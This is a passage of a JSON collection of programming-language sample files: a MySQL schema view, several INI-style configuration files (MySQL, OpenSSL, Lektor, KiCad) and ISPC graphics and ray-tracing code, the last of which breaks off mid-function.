(\\'lock_row_lock_time\\',\\'lock_row_lock_time_avg\\',\\'lock_row_lock_time_max\\',\\'lock_row_lock_waits\\',\\'buffer_pool_reads\\',\\'buffer_pool_read_requests\\',\\'buffer_pool_write_requests\\',\\'buffer_pool_wait_free\\',\\'buffer_pool_read_ahead\\',\\'buffer_pool_read_ahead_evicted\\',\\'buffer_pool_pages_total\\',\\'buffer_pool_pages_misc\\',\\'buffer_pool_pages_data\\',\\'buffer_pool_bytes_data\\',\\'buffer_pool_pages_dirty\\',\\'buffer_pool_bytes_dirty\\',\\'buffer_pool_pages_free\\',\\'buffer_pages_created\\',\\'buffer_pages_written\\',\\'buffer_pages_read\\',\\'buffer_data_reads\\',\\'buffer_data_written\\',\\'file_num_open_files\\',\\'os_log_bytes_written\\',\\'os_log_fsyncs\\',\\'os_log_pending_fsyncs\\',\\'os_log_pending_writes\\',\\'log_waits\\',\\'log_write_requests\\',\\'log_writes\\',\\'innodb_dblwr_writes\\',\\'innodb_dblwr_pages_written\\',\\'innodb_page_size\\'))) union all (select \\'memory_current_allocated\\' AS `Variable_name`,sum(`performance_schema`.`memory_summary_global_by_event_name`.`CURRENT_NUMBER_OF_BYTES_USED`) AS `Variable_value`,\\'Performance Schema\\' AS `Type`,if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = 0),\\'NO\\',if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = (select count(0) from `performance_schema`.`setup_instruments` where (`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\'))),\\'YES\\',\\'PARTIAL\\')) AS `Enabled` from `performance_schema`.`memory_summary_global_by_event_name`) union all (select \\'memory_total_allocated\\' AS `Variable_name`,sum(`performance_schema`.`memory_summary_global_by_event_name`.`SUM_NUMBER_OF_BYTES_ALLOC`) AS `Variable_value`,\\'Performance Schema\\' AS `Type`,if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = 0),\\'NO\\',if(((select count(0) from `performance_schema`.`setup_instruments` where ((`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\') and (`performance_schema`.`setup_instruments`.`ENABLED` = \\'YES\\'))) = (select count(0) from `performance_schema`.`setup_instruments` where (`performance_schema`.`setup_instruments`.`NAME` like \\'memory/%\\'))),\\'YES\\',\\'PARTIAL\\')) AS `Enabled` from `performance_schema`.`memory_summary_global_by_event_name`) union all (select \\'NOW()\\' AS `Variable_name`,now(3) AS `Variable_value`,\\'System Time\\' AS `Type`,\\'YES\\' AS `Enabled`) union all (select \\'UNIX_TIMESTAMP()\\' AS `Variable_name`,round(unix_timestamp(now(3)),3) AS `Variable_value`,\\'System Time\\' AS `Type`,\\'YES\\' AS `Enabled`) order by `Type`,`Variable_name`"
  },
  {
    "path": "samples/INI/ms.cfg",
    "content": "title=Mindstorms\nisbn=0465046290\nauthor=Seymour Papert\npubmonth=198001\nsubject=children computers powerful ideas LOGO education\nurl=http://www.papert.org/"
  },
  {
    "path": "samples/INI/ms.properties",
    "content": "title=Mindstorms\nisbn=0465046290\nauthor=Seymour Papert\npubmonth=198001\nsubject=children computers powerful ideas LOGO education\nurl=http://www.papert.org/"
  },
  {
    "path": "samples/INI/my.cnf",
    "content": "# Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License, version 2.0,\n# as published by the Free Software Foundation.\n#\n# This program is also distributed with certain software (including\n# but not limited to OpenSSL) that is licensed under separate terms, as\n# designated in a particular file or component or in included license\n# documentation.  The authors of MySQL hereby grant you an additional\n# permission to link the program and your derivative works with the\n# separately licensed software that they have included with MySQL.\n# This program is distributed in the hope that it will be useful,  but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See\n# the GNU General Public License, version 2.0, for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\n#\n# Regular comments\n\n# Make sure default section is handled properly\n# Not a special section according to MySQL documentation (no precedence, etc.)\n[DEFAULT]\npassword=54321\nrepeated_value\nrepeated-value = \"what\"\n\n# Group names are not case sensitive, unlike opt_name.\n[cLieNt] # inline section comment\npassword=12345\nport=1000\nsocket=/var/run/mysqld/mysqld.sock\nssl-ca=dummyCA\nssl-cert=dummyCert\nssl-key=dummyKey\nssl-cipher=AES256-SHA:CAMELLIA256-SHA\nCaseSensitiveOptions=Yes\noption_to_delete_with_value = 20\noption_to_delete_without_value\n\n; Another comment\n\n[mysqld_safe]\nsocket=/var/run/mysqld/mysqld1.sock\n\n# spaces can be used around '='\nnice =   0\n# values can include '#' if enclose with single or double quotes\nvalid_v1 = 'include comment ( #) symbol' # comment\nvalid_v2 = \"include comment ( #) symbol\" # comment\n\n[mysqld]\noption_to_delete_with_value = 20 # delete this\noption_to_delete_without_value  # this as well\nmaster-info-repository = TABLE\nmaster-info_repository = FILE\nuser=mysql  # inline coments\npid-file=/var/run/mysqld/mysqld.pid\nsocket=/var/run/mysqld/mysqld2.sock\nport=1001\nbasedir=/usr\ndatadir=/var/lib/mysql\ntmpdir = /tmp # other inline comment and spaces\nto_override # this option is going to be overridden\nto_override_with_value = old_val  # this is also to be overridden\nno_comment_no_value\nlc-messages-dir=/usr/share/mysql\nskip-external-locking  # another inline comment\nbinlog=True # ignore this comment\n   multivalue =   Noooooooooooooooo #; Ignore this one as well\nsemi-colon=;\n\n# leading and training spaces are ignored\n   bind-address =   127.0.0.1  \n\nlog_error=/var/log/mysql/error.log # value to be removed\n\n[delete_section]\noption_to_drop_with_no_value  # comments are\noption_to_drop_with_value = \"value\"   # also to be\noption_to_drop_with_value2 = \"value\"  ## deleted #\n\n[escape_sequences]\nbackspace=\\b\ntab=\\t\nnewline=\\n\ncarriage-return=\\r\nbackslash=\\\\\nspace=\\s\nnot_esc_seq_char=\\S\n\n[path_options]\nwin_path_no_esc_seq_char1=\"C:\\Program Files\\MySQL\\MySQL Server 5.7\"\nwin_path_no_esc_seq_char2=\"C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.7\"\nwin_path_esc_seq_char=C:\\\\Program\\sFiles\\\\MySQL\\\\MySQL\\sServer\\s5.7\nwin_path_with_posix_sep=\"C:/Program Files/MySQL/MySQL Server 5.7\"\n\n[delete_section2]\noption_to_drop_with_no_value  # comments are\noption_to_drop_with_value = \"value\"   # also to be\noption_to_drop_with_value2 = \"value\"  # delete\n\n[empty section]\n"
  },
  {
    "path": "samples/INI/openssl.cnf",
    "content": "distinguished_name\t= req_distinguished_name\nattributes\t\t= req_attributes\nx509_extensions\t= v3_ca\t# The extensions to add to the self signed cert\n\n# Passwords for private keys if not present they will be prompted for\n# input_password = secret\n# output_password = secret\n\n# This sets a mask for permitted string types. There are several options.\n# default: PrintableString, T61String, BMPString.\n# pkix\t : PrintableString, BMPString (PKIX recommendation before 2004)\n# utf8only: only UTF8Strings (PKIX recommendation after 2004).\n# nombstr : PrintableString, T61String (no BMPStrings or UTF8Strings).\n# MASK:XXXX a literal mask value.\n# WARNING: ancient versions of Netscape crash on BMPStrings or UTF8Strings.\nstring_mask = utf8only\n\n# req_extensions = v3_req # The extensions to add to a certificate request\n\n[ req_distinguished_name ]\ncountryName\t\t\t= Country Name (2 letter code)\ncountryName_default\t\t= AU\ncountryName_min\t\t\t= 2\ncountryName_max\t\t\t= 2\n\nstateOrProvinceName\t\t= State or Province Name (full name)\nstateOrProvinceName_default\t= Some-State\n\nlocalityName\t\t\t= Locality Name (eg, city)\n\n0.organizationName\t\t= Organization Name (eg, company)\n0.organizationName_default\t= Internet Widgits Pty Ltd\n\n# we can do this but it is not needed normally :-)\n#1.organizationName\t\t= Second Organization Name (eg, company)\n#1.organizationName_default\t= World Wide Web Pty Ltd\n\norganizationalUnitName\t\t= Organizational Unit Name (eg, section)\n#organizationalUnitName_default\t=\n\ncommonName\t\t\t= Common Name (e.g. server FQDN or YOUR name)\ncommonName_max\t\t\t= 64\n\nemailAddress\t\t\t= Email Address\nemailAddress_max\t\t= 64\n\n# SET-ex3\t\t\t= SET extension number 3\n\n[ req_attributes ]\nchallengePassword\t\t= A challenge password\nchallengePassword_min\t\t= 4\nchallengePassword_max\t\t= 20\n\nunstructuredName\t\t= An optional company name\n\n[ usr_cert ]\n\n# These extensions are added when 'ca' signs a request.\n\n# This goes against PKIX guidelines but some CAs do it and some software\n# requires this to avoid interpreting an end user certificate as a CA.\n\nbasicConstraints=CA:FALSE\n\n# This is typical in keyUsage for a client certificate.\n# keyUsage = nonRepudiation, digitalSignature, keyEncipherment\n\n# PKIX recommendations harmless if included in all certificates.\nsubjectKeyIdentifier=hash\nauthorityKeyIdentifier=keyid,issuer\n\n# This stuff is for subjectAltName and issuerAltname.\n# Import the email address.\n# subjectAltName=email:copy\n# An alternative to produce certificates that aren't\n# deprecated according to PKIX.\n# subjectAltName=email:move\n\n# Copy subject details\n# issuerAltName=issuer:copy\n\n# This is required for TSA certificates.\n# extendedKeyUsage = critical,timeStamping\n\n[ v3_req ]\n\n# Extensions to add to a certificate request\n\nbasicConstraints = CA:FALSE\nkeyUsage = nonRepudiation, digitalSignature, keyEncipherment\n\n[ v3_ca ]\n\n\n# Extensions for a typical CA\n\n\n# PKIX recommendation.\n\nsubjectKeyIdentifier=hash\n\nauthorityKeyIdentifier=keyid:always,issuer\n\nbasicConstraints = critical,CA:true\n\n# Key usage: this is typical for a CA certificate. However since it will\n# prevent it being used as an test self-signed certificate it is best\n# left out by default.\n# keyUsage = cRLSign, keyCertSign\n\n# Include email address in subject alt name: another PKIX recommendation\n# subjectAltName=email:copy\n# Copy issuer details\n# issuerAltName=issuer:copy\n\n# DER hex encoding of an extension: beware experts only!\n# obj=DER:02:03\n# Where 'obj' is a standard or added object\n# You can even override a supported extension:\n# basicConstraints= critical, DER:30:03:01:01:FF\n\n[ crl_ext ]\n\n# CRL extensions.\n# Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.\n\n# issuerAltName=issuer:copy\nauthorityKeyIdentifier=keyid:always\n\n[ proxy_cert_ext ]\n# These extensions should be added when creating a proxy certificate\n\n# This goes against PKIX guidelines but some CAs do it and some software\n# requires this to avoid interpreting an end user certificate as a CA.\n\nbasicConstraints=CA:FALSE\n\n# This is typical in keyUsage for a client certificate.\n# keyUsage = nonRepudiation, digitalSignature, keyEncipherment\n\n# PKIX recommendations harmless if included in all certificates.\nsubjectKeyIdentifier=hash\nauthorityKeyIdentifier=keyid,issuer\n\n# This stuff is for subjectAltName and issuerAltname.\n# Import the email address.\n# subjectAltName=email:copy\n# An alternative to produce certificates that aren't\n# deprecated according to PKIX.\n# subjectAltName=email:move\n\n# Copy subject details\n# issuerAltName=issuer:copy\n\n# This really needs to be in place for it to be a proxy certificate.\nproxyCertInfo=critical,language:id-ppl-anyLanguage,pathlen:3,policy:foo\n\n####################################################################\n[ tsa ]\n\ndefault_tsa = tsa_config1\t# the default TSA section\n\n[ tsa_config1 ]\n\n# These are used by the TSA reply generation only.\ndir\t\t= ./demoCA\t\t# TSA root directory\nserial\t\t= $dir/tsaserial\t# The current serial number (mandatory)\ncrypto_device\t= builtin\t\t# OpenSSL engine to use for signing\nsigner_cert\t= $dir/tsacert.pem \t# The TSA signing certificate\n\t\t\t\t\t# (optional)\ncerts\t\t= $dir/cacert.pem\t# Certificate chain to include in reply\n\t\t\t\t\t# (optional)\nsigner_key\t= $dir/private/tsakey.pem # The TSA private key (optional)\nsigner_digest  = sha256\t\t\t# Signing digest to use. (Optional)\ndefault_policy\t= tsa_policy1\t\t# Policy if request did not specify it\n\t\t\t\t\t# (optional)\nother_policies\t= tsa_policy2, tsa_policy3\t# acceptable policies (optional)\ndigests     = sha1, sha256, sha384, sha512  # Acceptable message digests (mandatory)\naccuracy\t= secs:1, millisecs:500, microsecs:100\t# (optional)\nclock_precision_digits  = 0\t# number of digits after dot. (optional)\nordering\t\t= yes\t# Is ordering defined for timestamps?\n\t\t\t\t# (optional, default: no)\ntsa_name\t\t= yes\t# Must the TSA name be included in the reply?\n\t\t\t\t# (optional, default: no)\ness_cert_id_chain\t= no\t# Must the ESS cert id chain be included?\n\t\t\t\t# (optional, default: no)\ness_cert_id_alg\t\t= sha1\t# algorithm to compute certificate\n\t\t\t\t# identifier (optional, default: sha1)\n\n[insta] # CMP using Insta Demo CA\n# Message transfer\nserver = pki.certificate.fi:8700\n# proxy = # set this as far as needed, e.g., http://192.168.1.1:8080\n# tls_use = 0\npath = pkix/\n\n# Server authentication\nrecipient = \"/C=FI/O=Insta Demo/CN=Insta Demo CA\" # or set srvcert or issuer\nignore_keyusage = 1 # potentially needed quirk\nunprotected_errors = 1 # potentially needed quirk\nextracertsout = insta.extracerts.pem\n\n# Client authentication\nref = 3078 # user identification\nsecret = pass:insta # can be used for both client and server side\n\n# Generic message options\ncmd = ir # default operation, can be overridden on cmd line with, e.g., kur\n\n# Certificate enrollment\nsubject = \"/CN=openssl-cmp-test\"\nnewkey = insta.priv.pem\nout_trusted = insta.ca.crt\ncertout = insta.cert.pem\n\n[pbm] # Password-based protection for Insta CA\n# Server and client authentication\nref = $insta::ref # 3078\nsecret = $insta::secret # pass:insta\n\n[signature] # Signature-based protection for Insta CA\n# Server authentication\ntrusted = insta.ca.crt # does not include keyUsage digitalSignature\n\n# Client authentication\nsecret = # disable PBM\nkey = $insta::newkey # insta.priv.pem\ncert = $insta::certout # insta.cert.pem\n\n[ir]\ncmd = ir\n\n[cr]\ncmd = cr\n\n[kur]\n# Certificate update\ncmd = kur\noldcert = $insta::certout # insta.cert.pem\n\n[rr]\n# Certificate revocation\ncmd = rr\noldcert = $insta::certout # insta.cert.pem\n"
  },
  {
    "path": "samples/INI/spyder_website.lektorproject",
    "content": "[project]\nname = Spyder Website\nthemes = hugo-icon\nurl_style = absolute\nurl = https://www.spyder-ide.org\n\n[packages]\nlektor-webpack-support = 0.3\nlektor-markdown-header-anchors = 0.1\nlektor-disqus-comments = 0.2\nlektor-atom = 0.3\n\n[servers.develop]\nname = Develop\ntarget = ghpages+https://spyder-ide//website-develop?cname=develop.spyder-ide.org\n\n[servers.production]\nname = Production\ntarget = ghpages+https://spyder-ide//website-production?cname=www.spyder-ide.org\n\n[alternatives.en]\nname = English\nprimary = yes\nlocale = en_US\n\n[alternatives.es]\nname = Spanish\nurl_prefix = /es/\nlocale = es\n\n[alternatives.fr]\nname = French\nurl_prefix = /fr/\nlocale = fr\n\n[theme_settings]\n  author = \"Spyder Team\"\n  description = \"Spyder Website\"\n  other_css = \"/static/css/styles.css\"\n  content_lang = \"en, es, fr\"\n  hero_img = \"../static/images/spyder_website_banner.png\"\n  hero_title = \"\"\n  hero_description = \"\"\n  nav_mission = \"Overview\"\n  mission_2_nav = \"download\"\n  nav_services = \"Components\"\n  nav_team = \"The Team\"\n  nav_work = \"Plugins\"\n  spyder_nav_content = true\n  mission_enable = true\n  mission_images_enable = \n  overview_enable = true\n  download_enable = true\n  services_enable = true\n  service_video_url = \"https://www.youtube.com/watch?v=Hf07PmwQwPQ\"\n  work_enable = true\n  team_enable = \n  donate_enable = true\n  donate_name = Donate\n  donate_description = Help us to provide the best Scientific Python Development Environment!\n  footer_enable = true\n  footer_note = \"<p>&copy; 2018 The Spyder Website Contributors <br> Icons by <a href=\"https://www.freepik.com/\" target=\"_blank\" title=\"Freepik\">Freepik</a> from <a href=\"https://www.flaticon.com/\" target=\"_blank\" title=\"Flaticon\">Flaticon.com</a> <span class=\"pipe-red\">|</span> <a href=\"https://freehtml5.co/icon-free-website-template-using-bootstrap/\" target=\"_blank\">Template</a> designed by <a href='https://freehtml5.co/' target='_blank'>FreeHTML5.co</a> <br>Hugo port by <a href='https://github.com/SteveLane/' target='_blank'>SteveLane</a> <span class=\"pipe-red\">|</span> Lektor port by <a href='https://github.com/dalthviz/' target='_blank'>Dalthviz</a></p>\"\n  footer_github = \"https://github.com/spyder-ide/spyder\"\n  footer_twitter = \"https://twitter.com/spyder_ide\"\n  footer_facebook = \"https://www.facebook.com/SpyderIDE/\"\n  footer_google = \"https://groups.google.com/group/spyderlib\"\n  extension_nav = true\n  ext_1_ref = \"https://docs.spyder-ide.org/\"\n  ext_1_title = \"Docs\"\n  ext_2_ref = \"/blog\"\n  ext_2_title = \"Blog\"\n  ext_3_ref = \n  ext_3_title = \"Community\"\n  opencollective = spyder\n  gitter_room = \"spyder-ide/public\"\n  donate_nav = \"Donate\"\n"
  },
  {
    "path": "samples/INI/ultimate-temp-controller.pro",
    "content": "update=22/05/2015 07:44:53\nversion=1\nlast_client=kicad\n[general]\nversion=1\nRootSch=\nBoardNm=\n[pcbnew]\nversion=1\nLastNetListRead=\nUseCmpFile=1\nPadDrill=0.600000000000\nPadDrillOvalY=0.600000000000\nPadSizeH=1.500000000000\nPadSizeV=1.500000000000\nPcbTextSizeV=1.500000000000\nPcbTextSizeH=1.500000000000\nPcbTextThickness=0.300000000000\nModuleTextSizeV=1.000000000000\nModuleTextSizeH=1.000000000000\nModuleTextSizeThickness=0.150000000000\nSolderMaskClearance=0.000000000000\nSolderMaskMinWidth=0.000000000000\nDrawSegmentWidth=0.200000000000\nBoardOutlineThickness=0.100000000000\nModuleOutlineThickness=0.150000000000\n[cvpcb]\nversion=1\nNetIExt=net\n[eeschema]\nversion=1\nLibDir=\n[eeschema/libraries]\nLibName1=power\nLibName2=device\nLibName3=transistors\nLibName4=conn\nLibName5=linear\nLibName6=regul\nLibName7=74xx\nLibName8=cmos4000\nLibName9=adc-dac\nLibName10=memory\nLibName11=xilinx\nLibName12=microcontrollers\nLibName13=dsp\nLibName14=microchip\nLibName15=analog_switches\nLibName16=motorola\nLibName17=texas\nLibName18=intel\nLibName19=audio\nLibName20=interface\nLibName21=digital-audio\nLibName22=philips\nLibName23=display\nLibName24=cypress\nLibName25=siliconi\nLibName26=opto\nLibName27=atmel\nLibName28=contrib\nLibName29=valves\n"
  },
  {
    "path": "samples/ISPC/VideoFunctions.ispc",
    "content": "export struct VideoData {\n    uint16 width;\n    uint16 height;\n    uint16 buffer_width;\n    uint16 buffer_height;\n    int16 yoffset;\n    int16 xoffset;\n    int16 ytail;\n    int16 xtail;\n    bool transparentBlack;\n    int16 transparentBlackLevel;\n    int16 image_width;\n    int16 image_height;\n    int32 startx;\n    int32 starty;\n    int32 sampleSpacing;\n\n    int8 ch;\n    uint8* image;\n    void* bufferData;\n};\n\nexport void VideoEffectProcess(const uniform VideoData &data,\n                               uniform int startIdx, uniform int endIdx,\n                               uniform uint8<4> result[])\n{\n    uniform int ch = data.ch;\n\n\n    foreach (index = startIdx...endIdx) {\n        float fidx = index;\n        float y = (floor)(fidx / data.buffer_width);\n        float x = fidx - (y * data.buffer_width);\n        int newIndex = x + data.startx + ((y + data.starty) * data.buffer_width);\n\n        uint8* ptr = data.image + (data.image_height - 1 - y - data.yoffset) * (data.image_width * ch) + (data.xoffset * ch) + (x * ch);\n        uint8<4> c;\n        c.x = *(ptr);\n        c.y = *(ptr + 1);\n        c.z = *(ptr + 2);\n        c.w = ch == 3 ? 255 : *(ptr + 3);\n        uint16 level = (uint16)c[0] + (uint16)c[1] + (uint16)c[2];\n        if (data.transparentBlack) {\n            if (level > data.transparentBlackLevel) {\n                result[newIndex] = c;\n            }\n        } else {\n            result[newIndex] = c;\n        }\n    }\n}\n\nexport void VideoEffectProcessSample(const uniform VideoData &data,\n                                        uniform int startIdx, uniform int endIdx, \n                                        uniform uint8<4> result[]) {\n    uniform float width = data.width;\n    uniform float rszw = 1.0 / width;\n    uniform float height = data.height;\n    uniform int ch = data.ch;\n\n    foreach (index = startIdx ... endIdx) {\n        float fidx = index;\n        float y = (floor)(fidx * rszw + 0.00001);\n        float x = fidx - (y * width);\n        float newIndex = (y * width) + x;\n\n        int curx = data.startx + x * data.sampleSpacing;\n        int cury = data.starty + y * data.sampleSpacing;\n\n        if (curx >= 0 && curx < data.image_width && cury >= 0 && cury < data.image_height) {\n\n            uint8* ptr = data.image + (data.image_height - 1 - cury) * data.image_width * ch + curx * ch;\n            uint8<4> c;\n            c.x = *(ptr);\n            c.y = *(ptr + 1);\n            c.z = *(ptr + 2);\n            c.w = ch == 3 ? 255 : *(ptr + 3);\n            if (data.transparentBlack) {\n                uint16 level = (uint16)c[0] + (uint16)c[1] + (uint16)c[2];\n                if (level > data.transparentBlackLevel) {\n                    result[newIndex] = c;\n                }\n            } else {\n                result[newIndex] = c;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "samples/ISPC/program_city.ispc",
    "content": "// https://www.shadertoy.com/view/XlsyWB\n\nconst float streetDistance = 0.6;\nconst vec3 streetColor = { 4.0, 8.0, 10.0 };\n\nconst float fogDensity = 0.5;\nconst float fogDistance = 4.0;\nconst vec3 fogColor = { 0.34, 0.37, 0.4 };\n\nconst float windowSize = 0.1;\nconst float windowDivergence = 0.2;\nconst vec3 windowColor = { 0.1, 0.2, 0.5 };\n\nconst float beaconProb = 0.0003;\nconst float beaconFreq = 0.6;\nconst vec3 beaconColor = { 1.5, 0.2, 0.0 };\n\n\nconst float tau = 6.283185;\n\nfloat hash1(vec2 p2) {\n    p2 = fract(p2 * vec2(5.3983, 5.4427));\n    p2 += dot(p2.yx, p2.xy + vec2(21.5351, 14.3137));\n    return fract(p2.x * p2.y * 95.4337);\n}\n\nfloat hash1(vec2 p2, float p) {\n    vec3 p3 = fract(vec3(5.3983 * p2.x, 5.4427 * p2.y, 6.9371 * p));\n    p3 += dot(p3, p3.yzx + 19.19);\n    return fract((p3.x + p3.y) * p3.z);\n}\n\nvec2 hash2(vec2 p2) {\n    vec3 p3 = fract(vec3(5.3983 * p2.x, 5.4427 * p2.y, 6.9371 * p2.x));\n    p3 += dot(p3, p3.yzx + 19.19);\n    return fract((p3.xx + p3.yz) * p3.zy);\n}\n\nvec2 hash2(vec2 p2, float p) {\n    vec3 p3 = fract(vec3(5.3983 * p2.x, 5.4427 * p2.y, 6.9371 * p));\n    p3 += dot(p3, p3.yzx + 19.19);\n    return fract((p3.xx + p3.yz) * p3.zy);\n}\n\nvec3 hash3(vec2 p2) {\n    vec3 p3 = fract(vec3(p2.xyx) * vec3(5.3983, 5.4427, 6.9371));\n    p3 += dot(p3, p3.yxz + 19.19);\n    return fract((p3.xxy + p3.yzz) * p3.zyx);\n}\n\nfloat noise1(vec2 p) {\n    vec2 i = floor(p);\n    vec2 f = fract(p);\n    vec2 u = f * f * (3.0 - 2.0 * f);\n    return mix(mix(hash1(i + vec2(0.0, 0.0)), \n                   hash1(i + vec2(1.0, 0.0)), u.x),\n               mix(hash1(i + vec2(0.0, 1.0)), \n                   hash1(i + vec2(1.0, 1.0)), u.x), u.y);\n}\n\nvec4 castRay(vec3 eye, vec3 ray) {\n    vec2 block = floor(eye.xy);\n    vec3 ri = 1.0 / ray;\n    vec3 rs = sign(ray);\n    vec3 side = 0.5 + 0.5 * rs;\n    vec2 ris = ri.xy * rs.xy;\n    vec2 dis = (block - eye.xy + 0.5 + rs.xy * 0.5) * ri.xy;\n    \n    float beacon = 0.0;\n    \n    for (int i = 0; i < 200; ++i) {\n        vec2 lo0 = vec2(block + 0.01);\n        vec2 loX = vec2(0.3, 0.3);\n        vec2 hi0 = vec2(block + 0.69);\n        vec2 hiX = vec2(0.3, 0.3);\n        float height = (0.5 + hash1(block)) * (2.0 + 4.0 * pow(noise1(0.1 * block), 2.5));\n        \n        float dist = 500.0;\n        float face = 0.0;\n        for (int j = 0; j < 3; ++j) {\n            float top = height * (1.0 - 0.1 * float(j));\n            vec3 lo = vec3(lo0 + loX * hash2(block, float(j)), 0.0);\n            vec3 hi = vec3(hi0 + hiX * hash2(block, float(j) + 0.5), top);\n\n            vec3 wall = mix(hi, lo, side);\n            vec3 t = (wall - eye) * ri;\n\n            vec3 dim = step(t.zxy, t) * step(t.yzx, t);            \n            float maxT = dot(dim, t);\n            float maxFace = 1.0 - dim.z;\n            \n            vec3 p = eye + maxT * ray;\n            dim += step(lo, p) * step(p, hi);\n            if (dim.x * dim.y * dim.z > 0.5 && maxT < dist) {\n                dist = maxT;\n                face = maxFace;\n            }\n        }\n        \n        float prob = beaconProb * pow(height, 3.0);\n        vec2 h = hash2(block);\n        if (h.x < prob) {\n            vec3 center = vec3(block + 0.5, height + 0.2);\n            float t = dot(center - eye, ray);\n            if (t < dist) {\n                vec3 p = eye + t * ray;\n                float fog = (exp(-p.z / fogDistance) - exp(-eye.z / fogDistance)) / ray.z;\n                fog = exp(fogDensity * fog);\n\n                t = distance(center, p);\n                fog *= smoothstep(1.0, 0.5, cos(tau * (beaconFreq * iTime + h.y)));\n                beacon += fog * pow(clamp(1.0 - 2.0 * t, 0.0, 1.0), 4.0);\n            }\n        }\n        \n        if (dist < 400.0) {\n            return vec4(dist, beacon, face, 1.0);\n        }\n\n        float t = eye.z * ri.z;\n        vec3 p = eye - t * ray;\n        vec2 g = p.xy - block;\n        if (g.x > 0.0 && g.x < 1.0 && g.y > 0.0 && g.y < 1.0) {\n            return vec4(-t, beacon, 0.0, 1.0);\n        }\n        \n        vec2 dim = step(dis.xy, dis.yx); \n        dis += dim * ris;\n        block += dim * rs.xy;\n    }\n    \n    if (ray.z < 0.0) {\n        return vec4(-eye.z * ri.z, beacon, 0.0, 1.0);\n    }\n\n    return vec4(0.0, beacon, 0.0, 0.0);\n}\n\ninline void mainImage(vec4& fragColor, vec2 fragCoord)\n{\n    vec2 m = vec2(0.03 * iTime, 0.8);\n    if (iMouse.z > 0.0)\n        m = iMouse.xy / iResolution.xy;\n    m *= tau * vec2(1.0, 0.25);\n    \n    vec3 center = vec3(6.0 * iTime, 0.5, 3.0);\n    float dist = 20.0;\n    vec3 eye = center + vec3(dist * sin(m.x) * sin(m.y), dist * cos(m.x) * sin(m.y), dist * cos(m.y));\n    float zoom = 3.0;\n    \n    vec3 forward = normalize(center - eye);\n    vec3 right = normalize(cross(forward, vec3(0.0, 0.0, 1.0)));\n    vec3 up = cross(right, forward);\n    vec2 xy = 2.0 * fragCoord - iResolution.xy;\n    zoom *= iResolution.y;\n    vec3 ray = normalize(xy.x * right + xy.y * up + zoom * forward);\n    \n    vec4 res = castRay(eye, ray);\n    vec3 p = eye + res.x * ray;\n\n    vec2 block = floor(p.xy);\n    vec3 window = floor(p / windowSize);\n    float x = hash1(block, window.x);\n    float y = hash1(block, window.y);\n    float z = hash1(block, window.z);\n    vec3 color = windowColor + windowDivergence * (hash3(block) - 0.5);\n    color *= smoothstep(0.1, 0.9, fract(2.5 * (x * y * z)));\n\n    vec3 streetLevel = streetColor * exp(-p.z / streetDistance);\n    color += streetLevel;\n    color = clamp(mix(0.25 * streetLevel, color, res.z), 0.0, 1.0);\n\n    float fog = (exp(-p.z / fogDistance) - exp(-eye.z / fogDistance)) / ray.z;\n    fog = exp(fogDensity * fog);\n    color = mix(fogColor, color, fog);\n    \n    color = mix(fogColor, color, res.w);\n    color += res.y * beaconColor;\n    color += pow(res.y, 2.0);\n\n    fragColor = vec4(color, 1.0);\n}\n"
  },
  {
    "path": "samples/ISPC/volume.ispc",
    "content": "/*\n  Copyright (c) 2011-2023, Intel Corporation\n\n  SPDX-License-Identifier: BSD-3-Clause\n*/\n\ntypedef float<3> float3;\n\nstruct Ray {\n    float3 origin, dir;\n};\n\n\nstatic void\ngenerateRay(const uniform float raster2camera[4][4],\n            const uniform float camera2world[4][4],\n            float x, float y, Ray &ray) {\n    // transform raster coordinate (x, y, 0) to camera space\n    float camx = raster2camera[0][0] * x + raster2camera[0][1] * y + raster2camera[0][3];\n    float camy = raster2camera[1][0] * x + raster2camera[1][1] * y + raster2camera[1][3];\n    float camz = raster2camera[2][3];\n    float camw = raster2camera[3][3];\n    camx /= camw;\n    camy /= camw;\n    camz /= camw;\n\n    ray.dir.x = camera2world[0][0] * camx + camera2world[0][1] * camy + camera2world[0][2] * camz;\n    ray.dir.y = camera2world[1][0] * camx + camera2world[1][1] * camy + camera2world[1][2] * camz;\n    ray.dir.z = camera2world[2][0] * camx + camera2world[2][1] * camy + camera2world[2][2] * camz;\n\n    ray.origin.x = camera2world[0][3] / camera2world[3][3];\n    ray.origin.y = camera2world[1][3] / camera2world[3][3];\n    ray.origin.z = camera2world[2][3] / camera2world[3][3];\n}\n\n\nstatic inline bool\nInside(float3 p, float3 pMin, float3 pMax) {\n    return (p.x >= pMin.x && p.x <= pMax.x &&\n            p.y >= pMin.y && p.y <= pMax.y &&\n            p.z >= pMin.z && p.z <= pMax.z);\n}\n\n\nstatic bool\nIntersectP(Ray ray, float3 pMin, float3 pMax, float &hit0, float &hit1) {\n    float t0 = -1e30, t1 = 1e30;\n\n    float3 tNear = (pMin - ray.origin) / ray.dir;\n    float3 tFar  = (pMax - ray.origin) / ray.dir;\n    if (tNear.x > tFar.x) {\n        float tmp = tNear.x;\n        tNear.x = tFar.x;\n        tFar.x = tmp;\n    }\n    t0 = max(tNear.x, t0);\n    t1 = min(tFar.x, t1);\n\n    if (tNear.y > tFar.y) {\n        float tmp = tNear.y;\n        tNear.y = tFar.y;\n        tFar.y = tmp;\n    }\n    t0 = max(tNear.y, t0);\n    t1 = min(tFar.y, t1);\n\n    if (tNear.z > tFar.z) {\n        float tmp = tNear.z;\n        tNear.z = tFar.z;\n        tFar.z = tmp;\n    }\n  